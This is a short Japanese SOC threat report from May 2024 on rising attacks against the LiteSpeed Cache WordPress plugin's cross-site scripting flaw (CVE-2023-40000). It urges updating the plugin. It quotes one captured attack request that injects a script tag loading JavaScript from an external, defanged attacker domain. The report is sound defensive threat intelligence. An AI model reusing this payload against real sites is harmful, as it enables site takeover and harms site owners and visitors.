2024.06.14

2024年5月度 MBSD-SOCの検知傾向トピックス

監視

WordPressのプラグイン「LiteSpeed Cache」の脆弱性（CVE-2023-40000）を狙った攻撃

　今月は、WordPressのプラグイン「LiteSpeed Cache」の脆弱性（CVE-2023-40000）を狙った攻撃が増加しました。LiteSpeed Cacheは、Webページの読み込みを高速化するキャッシュプラグインで、多くのWordPressのサイトで使用されています。本脆弱性であるクロスサイトスクリプティングの脆弱性を悪用された場合、WordPressファイルやデータベースに不正なスクリプトを埋め込まれたり、管理者ユーザを作成されてしまう恐れがあります。

　下図は、本脆弱性を狙った攻撃の検知数推移です。弊社SOCでは、5/21(火)以降に検知数が増加しました。当該製品を使用されている場合は、早急に最新のバージョンにアップデートすることをお勧めします。

図. 「LiteSpeed Cache」の脆弱性（CVE-2023-40000）を狙った攻撃の検知数推移

　以下は、弊社SOCで検知した攻撃例です。入力サニタイジングと出力エスケープ処理に不備が存在する「_msg」パラメータに対して不正なスクリプトを指定してクロスサイトスクリプティングを試みた通信となっています。なお、ペイロード内のドメインは、安全のためエスケープ処理して記載しています。

図. 「LiteSpeed Cache」の脆弱性（CVE-2023-40000）を狙った攻撃例
POST /wp-json/litespeed/v1/cdn_status HTTP/1.1 Host: www.example.com User-Agent: Searcherxweb success=0&result[_msg]=<script src=https://zeroday2024[.]com/admin-bar-reloaded[.]min[.]js></script>

　下表は、本脆弱性を狙った攻撃元国です。オランダとスイスからの攻撃を多数観測しています。